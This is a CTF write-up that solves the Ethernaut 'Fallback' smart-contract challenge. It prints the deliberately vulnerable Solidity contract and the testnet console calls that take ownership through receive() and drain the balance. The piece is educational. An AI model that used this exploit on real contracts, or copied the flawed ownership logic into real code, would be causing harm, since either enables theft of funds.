Today I decided to go through Ethernaut Challenges. Ethernaut is a good resource to sharpen smart contract security and web3 library skills. There are lot's of solutions to this CTF series and now it's time to add my own. Without further ado - let's crack the Fallback challenge.
Requirements
Here is the smart contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
The goals are:
- claim ownership of the contract
- reduce its balance to 0
Solution
There are two functions which set the owner contribute()
and receive()
. Let's see which one is more suitable for our needs.
contribute()
updates the owner in case msg.sender
sends more than initial owner. We can notice in constructor()
that the contract deployer has generously set their contribution to 1000 ETH. So, utilization of contribute()
is a long and expensive way.
Let's take a closer look to receive()
function:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
Seems interesting. In fact, we just have to send any non-zero amount of Ether and become the next owner! But how does receive()
function work? Here is an explanation in official Solidity docs:
The receive function is executed on a call to the contract with empty calldata.
Basically, if we send Ether without specifying any method name, receive()
should be triggered. Enough talking, let's check it out!
Connect your Metamask using a test network supported by Ethernaut. I use Sepolia. In case you need some testnet ETH go to Sepolia Faucet, e.g. on Alchemy or Infura. Both websites will ask you to create an account.
Open up browser console. We can see that receive()
requires us to make some contributions. But it only checks if the contribution is greater than zero. Let's call contribute()
method with msg.value
equal to 1 wei
which is the smallest possible non-zero amount we could send:
1 wei = 0.000000000000000001 ETH
We call contribute()
like this:
await contract.contribute.sendTransaction({value: 1})
We are official contributors! But we still didn't reach our goal. Time to conquer this contract. Output current owner address with this command:
await contract.owner()
Looks like it is not someone that we want, right? It's an appropriate time to trigger the receive()
function. Again, we can just send 1 wei:
await contract.sendTransaction({value: 1})
Check the owner once again:
await contract.owner()
Yes! We pnwed the contract. The last but not least we need to withdraw()
all the contract's balance to our own address. We need to hurry before someone else does the same change of ownership trick as we just did :D. Withdrawal is a trivial task for owners:
await contract.withdraw()
Done. All the balance from the contract has moved to our address. Here is a complete console output:
Summary
This exercise demonstrates that incorrect business logic can lead to loss of funds despite of having Ownable
functions in place.
If you like this article, feel free to subscribe to my social media accounts:
Top comments (0)